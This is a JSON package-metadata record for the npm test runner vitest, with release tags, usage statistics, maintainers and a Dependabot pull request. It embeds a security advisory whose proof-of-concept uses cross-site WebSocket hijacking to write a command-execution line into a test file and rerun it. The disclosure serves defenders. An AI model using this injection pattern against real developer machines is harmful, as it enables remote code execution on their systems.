21475b3cfb5142d481cfe247115430","kind":"tag","published_at":"2021-12-05T08:43:56.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.15","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.15","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.15/manifests"},{"name":"v0.0.14","sha":"3ce5717a1195499775b5dfe5eadd687780e8c85e","kind":"tag","published_at":"2021-12-05T07:52:25.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.14","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.14","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.14/manifests"},{"name":"v0.0.13","sha":"c748c31c34b978bdc85a62cef4596341e86a1664","kind":"tag","published_at":"2021-12-05T07:27:15.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.13","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.13","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.13/manifests"},{"name":"v0.0.12","sha":"eafc6a4c7c1bac15609011cf93cfcdebd54586a1","kind":"tag","published_at":"2021-12-04T18:56:46.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.12","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.12","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.12/manifests"},{"name":"v0.0.11","sha":"bfd14d76f825b7699bb5806e0c6778ca7f2e169e","kind":"tag","published_at":"2021-12-04T16:17:54.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.11","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.11","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.11/manifests"},{"name":"v0.0.10","sha":"dfcd5a2645ef02b62f57cdc522272334f711bfe5","kind":"tag","published_at":"2021-12-04T15:29:44.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.10","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.10","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.10/manifests"},{"name":"v0.0.9","sha":"2f202370049ee683e6ad37317d2e1b3caa750e79","kind":"tag","published_at":"2021-12-04T15:12:05.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.9","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.9","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.9/manifests"},{"name":"v0.0.8","sha":"47411c1f416dcf7cb6409d94fc90c7242b9f7f60","kind":"tag","published_at":"2021-12-04T14:48:59.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.8","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.8","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.8/manifests"},{"name":"v0.0.7","sha":"176dc9cdee585d0c8c6a06421a3acd2927b2f283","kind":"tag","published_at":"2021-12-03T23:12:25.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.7","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.7/manifests"},{"name":"v0.0.6","sha":"ecbc0c102182c53bde0a773f84731ebc307cae68","kind":"tag","published_at":"2021-12-03T22:39:59.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.6","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.6/manifests"},{"name":"v0.0.5","sha":"094d1c39877d74165b60458cdd6b1c8ad9429af8","kind":"tag","published_at":"2021-12-03T22:39:12.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.5","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.5/manifests"},{"name":"v0.0.4","sha":"0118cc979dc0abf7938fcbe7257d42b84a90e51a","kind":"tag","published_at":"2021-12-03T22:31:14.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.4","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.4/manifests"},{"name":"v0.0.3","sha":"f82d67376781615484787cb88808e8013935c0a5","kind":"tag","published_at":"2021-12-03T21:13:44.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.3","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.3/manifests"},{"name":"v0.0.2","sha":"12771a2621967e03d76484f13de6e1246c661dd3","kind":"tag","published_at":"2021-12-03T20:57:46.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.2","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.2/manifests"},{"name":"v0.0.1","sha":"f2ef11f5b0536ce5675a5054c8179b0cf4e5d3db","kind":"tag","published_at":"2021-12-03T20:34:32.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.1","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.1/manifests"}]},"repo_metadata_updated_at":"2024-09-08T09:13:22.779Z","dependent_packages_count":11085,"downloads":49882278,"downloads_period":"last-month","dependent_repos_count":30558,"rankings":{"downloads":0.09532488364672298,"dependent_repos_count":0.17596030992924228,"dependent_packages_count":0.009055289007454084,"stargazers_count":1.0456127843432617,"forks_count":1.3331685174910812,"docker_downloads_count":0.16719403505957725,"average":0.4710526365795566},"purl":"pkg:npm/vitest","advisories":[{"uuid":"GSA_kwCzR0hTQS05Y3JjLXE5eDgtaGdxcc4ABEIz","url":"https://github.com/advisories/GHSA-9crc-q9x8-hgqq","title":"Vitest allows Remote Code Execution when accessing a malicious website while Vitest API server is listening","description":"### Summary\nArbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.\n\n### Details\nWhen [`api` option](https://vitest.dev/config/#api) is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.\nhttps://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46\n\nThis WebSocket server has `saveTestFile` API that can edit a test file and `rerun` API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the `saveTestFile` API and then running that file by calling the `rerun` API.\nhttps://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76\n\n### PoC\n1. Open Vitest UI.\n2. Access a malicious web site with the script below.\n3. If you have `calc` executable in `PATH` env var (you'll likely have it if you are running on Windows), that application will be executed.\n\n```js\n// code from https://github.com/WebReflection/flatted\nconst Flatted=function(n){\"use strict\";function t(n){return t=\"function\"==typeof Symbol\u0026\u0026\"symbol\"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n\u0026\u0026\"function\"==typeof Symbol\u0026\u0026n.constructor===Symbol\u0026\u0026n!==Symbol.prototype?\"symbol\":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f=\"string\",i={},c=\"object\",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p\u003cy;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i\u0026\u0026(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g\u003cm;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c\u0026\u0026u?y(o,new Set,u,f):u;return f.call({\"\":i},\"\",i)},S=function(n,r,o){for(var u=r\u0026\u0026t(r)===c?function(n,t){return\"\"===n||-1\u003cr.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({\"\":n},\"\",n)),v=!y;y\u003cl.length;)v=!0,s[y]=e(l[y++],S,o);return\"[\"+s.join(\",\")+\"]\";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});\n\n// actual code to run\nconst ws = new WebSocket('ws://localhost:51204/__vitest_api__')\nws.addEventListener('message', e =\u003e {\n    console.log(e.data)\n})\nws.addEventListener('open', () =\u003e {\n    ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: \"getFiles\", a: [] }))\n\n    const testFilePath = \"/path/to/test-file/basic.test.ts\" // use a test file returned from the response of \"getFiles\"\n\n    // edit file content to inject command execution\n    ws.send(Flatted.stringify({\n      t: 'q',\n      i: crypto.randomUUID(),\n      m: \"saveTestFile\",\n      a: [testFilePath, \"import child_process from 'child_process';child_process.execSync('calc')\"]\n    }))\n    // rerun the tests to run the injected command execution code\n    ws.send(Flatted.stringify({\n      t: 'q',\n      i: crypto.randomUUID(),\n      m: \"rerun\",\n      a: [testFilePath]\n    }))\n})\n```\n\n### Impact\nThis vulnerability can result in remote code execution for users that are using Vitest serve API.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2025-02-04T17:00:57.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/vitest-dev/vitest/security/advisories/GHSA-9crc-q9x8-hgqq","https://github.com/vitest-dev/vitest/commit/191ef9e34c867d0efd04f49b3d38193a68e825dc","https://github.com/vitest-dev/vitest/commit/7ce9fbb4972d45c6fd34c843645ef6f549bbb241","https://github.com/vitest-dev/vitest/commit/e0fe1d81e2d4bcddb1c6ca3c5c3970d8ba697383","https://nvd.nist.gov/vuln/detail/CVE-2025-24964","https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46","https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76","https://vitest.dev/config/#api","https://github.com/advisories/GHSA-9crc-q9x8-hgqq"],"source_kind":"github","identifiers":["GHSA-9crc-q9x8-hgqq","CVE-2025-24964"],"repository_url":"https://github.com/vitest-dev/vitest","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 0.0.125"},{"first_patched_version":"3.0.5","vulnerable_version_range":"\u003e= 3.0.0, \u003c 3.0.5"},{"first_patched_version":"2.1.9","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.1.9"},{"first_patched_version":"1.6.1","vulnerable_version_range":"\u003e= 1.0.0, \u003c 1.6.1"}],"ecosystem":"npm","package_name":"vitest"}],"created_at":"2025-02-04T18:07:54.198Z","updated_at":"2025-04-16T03:08:52.082Z","epss_percentage":0.00024,"epss_percentile":0.04981}],"docker_usage_url":"https://docker.ecosyste.ms/usage/npm/vitest","docker_dependents_count":377,"docker_downloads_count":1370837988,"usage_url":"https://repos.ecosyste.ms/usage/npm/vitest","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/npm/vitest/dependencies","status":null,"funding_links":["https://opencollective.com/vitest","https://github.com/sponsors/vitest-dev","https://github.com/sponsors/sheremet-va","https://github.com/sponsors/antfu","https://github.com/sponsors/patak-dev"],"critical":true,"versions_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/vitest/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/vitest/version_numbers","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/vitest/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/vitest/related_packages","maintainers":[{"uuid":"oreanno","login":"oreanno","name":null,"email":"foxzdavinci@gmail.com","url":null,"packages_count":24,"html_url":"https://www.npmjs.com/~oreanno","role":null,"created_at":"2022-11-07T19:30:55.570Z","updated_at":"2022-11-07T19:30:55.570Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/oreanno/packages"},{"uuid":"patak","login":"patak","name":null,"email":"hey.patak@gmail.com","url":null,"packages_count":37,"html_url":"https://www.npmjs.com/~patak","role":null,"created_at":"2022-11-07T19:30:55.582Z","updated_at":"2022-11-07T19:30:55.582Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/patak/packages"},{"uuid":"antfu","login":"antfu","name":null,"email":"anthonyfu117@hotmail.com","url":null,"packages_count":759,"html_url":"https://www.npmjs.com/~antfu","role":null,"created_at":"2022-11-07T19:30:55.588Z","updated_at":"2022-11-07T19:30:55.588Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/antfu/packages"},{"uuid":"vitestbot","login":"vitestbot","name":null,"email":"vitest.dev@gmail.com","url":null,"packages_count":19,"html_url":"https://www.npmjs.com/~vitestbot","role":null,"created_at":"2024-08-21T03:53:13.171Z","updated_at":"2024-08-21T03:53:13.171Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/vitestbot/packages"}],"registry":{"name":"npmjs.org","url":"https://registry.npmjs.org","ecosystem":"npm","default":true,"packages_count":5005320,"maintainers_count":1012640,"namespaces_count":295318,"keywords_count":699769,"github":"npm","metadata":{"funded_packages_count":150180},"icon_url":"https://github.com/npm.png","created_at":"2022-04-04T15:19:23.081Z","updated_at":"2025-06-05T05:52:15.849Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/namespaces"}},"unique_repositories_count":19949,"unique_repositories_count_past_30_days":1491,"recent_issues":[{"uuid":"6014637169","node_id":"PR_kwDOTWq-ec8AAAABKdRn7w","number":360,"state":"open","title":"chore(deps): bump the web-deps-minor group across 1 directory with 38 updates","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":2,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-10-24T15:39:01.000Z","updated_at":"2026-10-24T15:39:34.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps): bump","group_name":"web-deps-minor","update_count":38,"packages":[{"name":"@base-ui/react","old_version":"1.8.0","new_version":"1.9.0","repository_url":"https://github.com/mui/base-ui"},{"name":"@lingui/core","old_version":"6.8.0","new_version":"6.10.0","repository_url":"https://github.com/lingui/js-lingui"},{"name":"@lingui/react","old_version":"6.8.0","new_version":"6.10.0","repository_url":"https://github.com/lingui/js-lingui"},{"name":"@tanstack/react-query","old_version":"5.104.0","new_version":"5.104.5","repository_url":"https://github.com/TanStack/query"},{"name":"@tanstack/react-router","old_version":"1.170.40","new_version":"1.170.45","repository_url":"https://github.com/TanStack/router"},{"name":"@tanstack/react-table","old_version":"9.2.4","new_version":"9.3.1","repository_url":"https://github.com/TanStack/table"},{"name":"@tanstack/react-virtual","old_version":"3.14.13","new_version":"3.14.21","repository_url":"https://github.com/TanStack/virtual"},{"name":"@tiptap/extension-image","old_version":"3.31.4","new_version":"3.32.0","repository_url":"https://github.com/ueberdosis/tiptap"},{"name":"@tiptap/extension-link","old_version":"3.31.4","new_version":"3.32.0","repository_url":"https://github.com/ueberdosis/tiptap"},{"name":"@tiptap/extension-placeholder","old_version":"3.31.4","new_version":"3.32.0","repository_url":"https://github.com/ueberdosis/tiptap"},{"name":"@tiptap/extension-task-item","old_version":"3.31.4","new_version":"3.32.0","repository_url":"https://github.com/ueberdosis/tiptap"},{"name":"@tiptap/extension-task-list","old_version":"3.31.4","new_version":"3.32.0","repository_url":"https://github.com/ueberdosis/tiptap"},{"name":"@tiptap/extension-underline","old_version":"3.31.4","new_version":"3.32.0","repository_url":"https://github.com/ueberdosis/tiptap"},{"name":"@tiptap/pm","old_version":"3.31.4","new_version":"3.32.0","repository_url":"https://github.com/ueberdosis/tiptap"},{"name":"@tiptap/react","old_version":"3.31.4","new_version":"3.32.0","repository_url":"https://github.com/ueberdosis/tiptap"},{"name":"@tiptap/starter-kit","old_version":"3.31.4","new_version":"3.32.0","repository_url":"https://github.com/ueberdosis/tiptap"},{"name":"lucide-react","old_version":"1.49.0","new_version":"1.61.0","repository_url":"https://github.com/lucide-icons/lucide"},{"name":"react","old_version":"19.3.0","new_version":"19.3.1","repository_url":"https://github.com/react/react"},{"name":"react-dom","old_version":"19.3.0","new_version":"19.3.1","repository_url":"https://github.com/react/react"},{"name":"shadcn","old_version":"4.21.0","new_version":"4.22.1","repository_url":"https://github.com/shadcn-ui/ui"},{"name":"zod","old_version":"4.6.5","new_version":"4.6.7","repository_url":"https://github.com/colinhacks/zod"},{"name":"@babel/core","old_version":"8.0.6","new_version":"8.0.7","repository_url":"https://github.com/babel/babel"},{"name":"@lingui/babel-plugin-lingui-macro","old_version":"6.8.0","new_version":"6.10.0","repository_url":"https://github.com/lingui/js-lingui"},{"name":"@lingui/cli","old_version":"6.8.0","new_version":"6.10.0","repository_url":"https://github.com/lingui/js-lingui"},{"name":"@lingui/vite-plugin","old_version":"6.8.0","new_version":"6.10.0","repository_url":"https://github.com/lingui/js-lingui"},{"name":"@playwright/test","old_version":"1.63.0","new_version":"1.64.1","repository_url":"https://github.com/microsoft/playwright"},{"name":"@serwist/vite","old_version":"9.5.12","new_version":"9.5.13","repository_url":"https://github.com/serwist/serwist"},{"name":"@serwist/window","old_version":"9.5.12","new_version":"9.5.13","repository_url":"https://github.com/serwist/serwist"},{"name":"@tanstack/react-query-devtools","old_version":"5.104.0","new_version":"5.104.5","repository_url":"https://github.com/TanStack/query"},{"name":"@tanstack/router-plugin","old_version":"1.168.41","new_version":"1.168.47","repository_url":"https://github.com/TanStack/router"},{"name":"@testing-library/user-event","old_version":"14.6.7","new_version":"14.6.8","repository_url":"https://github.com/testing-library/user-event"},{"name":"@types/node","old_version":"25.9.8","new_version":"25.9.9","repository_url":"https://github.com/DefinitelyTyped/DefinitelyTyped"},{"name":"@vitejs/plugin-react","old_version":"6.1.1","new_version":"6.1.2","repository_url":"https://github.com/vitejs/vite-plugin-react"},{"name":"jsdom","old_version":"30.1.2","new_version":"30.1.3","repository_url":"https://github.com/jsdom/jsdom"},{"name":"serwist","old_version":"9.5.12","new_version":"9.5.13","repository_url":"https://github.com/serwist/serwist"},{"name":"wrangler","old_version":"4.145.0","new_version":"4.151.3","repository_url":"https://github.com/cloudflare/workers-sdk"},{"name":"vite-plus","old_version":"1.0.0","new_version":"1.3.0","repository_url":"https://github.com/voidzero-dev/vite-plus"},{"name":"vitest","old_version":"5.0.1","new_version":"5.0.5","repository_url":"https://github.com/vitest-dev/vitest"}],"path":null,"ecosystem":"npm"},"body":"Bumps the web-deps-minor group with 38 updates in the /web directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [@base-ui/react](https://github.com/mui/base-ui/tree/HEAD/packages/react) | `1.8.0` | `1.9.0` |\n| [@lingui/core](https://github.com/lingui/js-lingui/tree/HEAD/packages/core) | `6.8.0` | `6.10.0` |\n| [@lingui/react](https://github.com/lingui/js-lingui/tree/HEAD/packages/react) | `6.8.0` | `6.10.0` |\n| [@tanstack/react-query](https://github.com/TanStack/query/tree/HEAD/packages/react-query) | `5.104.0` | `5.104.5` |\n| [@tanstack/react-router](https://github.com/TanStack/router/tree/HEAD/packages/react-router) | `1.170.40` | `1.170.45` |\n| [@tanstack/react-table](https://github.com/TanStack/table/tree/HEAD/packages/react-table) | `9.2.4` | `9.3.1` |\n| [@tanstack/react-virtual](https://github.com/TanStack/virtual/tree/HEAD/packages/react-virtual) | `3.14.13` | `3.14.21` |\n| [@tiptap/extension-image](https://github.com/ueberdosis/tiptap/tree/HEAD/packages/extension-image) | `3.31.4` | `3.32.0` |\n| [@tiptap/extension-link](https://github.com/ueberdosis/tiptap/tree/HEAD/packages/extension-link) | `3.31.4` | `3.32.0` |\n| [@tiptap/extension-placeholder](https://github.com/ueberdosis/tiptap/tree/HEAD/packages-deprecated/extension-placeholder) | `3.31.4` | `3.32.0` |\n| [@tiptap/extension-task-item](https://github.com/ueberdosis/tiptap/tree/HEAD/packages/extension-task-item) | `3.31.4` | `3.32.0` |\n| [@tiptap/extension-task-list](https://github.com/ueberdosis/tiptap/tree/HEAD/packages/extension-task-list) | `3.31.4` | `3.32.0` |\n| [@tiptap/extension-underline](https://github.com/ueberdosis/tiptap/tree/HEAD/packages/extension-underline) | `3.31.4` | `3.32.0` |\n| [@tiptap/pm](https://github.com/ueberdosis/tiptap/tree/HEAD/packages/pm) | `3.31.4` | `3.32.0` |\n| [@tiptap/react](https://github.com/ueberdosis/tiptap/tree/HEAD/packages/react) | `3.31.4` | `3.32.0` |\n| [@tiptap/starter-kit](https://github.com/ueberdosis/tiptap/tree/HEAD/packages/starter-kit) | `3.31.4` | `3.32.0` |\n| [lucide-react](https://github.com/lucide-icons/lucide/tree/HEAD/packages/lucide-react) | `1.49.0` | `1.61.0` |\n| [react](https://github.com/react/react/tree/HEAD/packages/react) | `19.3.0` | `19.3.1` |\n| [react-dom](https://github.com/react/react/tree/HEAD/packages/react-dom) | `19.3.0` | `19.3.1` |\n| [shadcn](https://github.com/shadcn-ui/ui/tree/HEAD/packages/shadcn) | `4.21.0` | `4.22.1` |\n| [zod](https://github.com/colinhacks/zod) | `4.6.5` | `4.6.7` |\n| [@babel/core](https://github.com/babel/babel/tree/HEAD/packages/babel-core) | `8.0.6` | `8.0.7` |\n| [@lingui/babel-plugin-lingui-macro](https://github.com/lingui/js-lingui/tree/HEAD/packages/babel-plugin-lingui-macro) | `6.8.0` | `6.10.0` |\n| [@lingui/cli](https://github.com/lingui/js-lingui/tree/HEAD/packages/cli) | `6.8.0` | `6.10.0` |\n| [@lingui/vite-plugin](https://github.com/lingui/js-lingui/tree/HEAD/packages/vite-plugin) | `6.8.0` | `6.10.0` |\n| [@playwright/test](https://github.com/microsoft/playwright) | `1.63.0` | `1.64.1` |\n| [@serwist/vite](https://github.com/serwist/serwist) | `9.5.12` | `9.5.13` |\n| [@serwist/window](https://github.com/serwist/serwist) | `9.5.12` | `9.5.13` |\n| [@tanstack/react-query-devtools](https://github.com/TanStack/query/tree/HEAD/packages/react-query-devtools) | `5.104.0` | `5.104.5` |\n| [@tanstack/router-plugin](https://github.com/TanStack/router/tree/HEAD/packages/router-plugin) | `1.168.41` | `1.168.47` |\n| [@testing-library/user-event](https://github.com/testing-library/user-event) | `14.6.7` | `14.6.8` |\n| [@types/node](https://github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node) | `25.9.8` | `25.9.9` |\n| [@vitejs/plugin-react](https://github.com/vitejs/vite-plugin-react/tree/HEAD/packages/plugin-react) | `6.1.1` | `6.1.2` |\n| [jsdom](https://github.com/jsdom/jsdom) | `30.1.2` | `30.1.3` |\n| [serwist](https://github.com/serwist/serwist) | `9.5.12` | `9.5.13` |\n| [wrangler](https://github.com/cloudflare/workers-sdk/tree/HEAD/packages/wrangler) | `4.145.0` | `4.151.3` |\n| [vite-plus](https://github.com/voidzero-dev/vite-plus/tree/HEAD/packages/cli) | `1.0.0` | `1.3.0` |\n| [vitest](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest) | `5.0.1` | `5.0.5` |\n\n\nUpdates `@base-ui/react` from 1.8.0 to 1.9.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/mui/base-ui/releases\"\u003e@​base-ui/react's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev1.9.0\u003c/h2\u003e\n\u003ch3\u003eGeneral changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eExport \u003ccode\u003eCssVariables\u003c/code\u003e and \u003ccode\u003eDataAttributes\u003c/code\u003e types (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5243\"\u003e#5243\u003c/a\u003e) by \u003ca href=\"https://github.com/superhooman\"\u003e\u003ccode\u003e@​superhooman\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix stale focused field state (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5345\"\u003e#5345\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix animation waits retaining detached elements (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5719\"\u003e#5719\u003c/a\u003e) by \u003ca href=\"https://github.com/flaviendelangle\"\u003e\u003ccode\u003e@​flaviendelangle\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eKeep item registration in sync when items change under Strict Mode (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5862\"\u003e#5862\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAvoid re-rendering inactive triggers on open and close (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5865\"\u003e#5865\u003c/a\u003e) by \u003ca 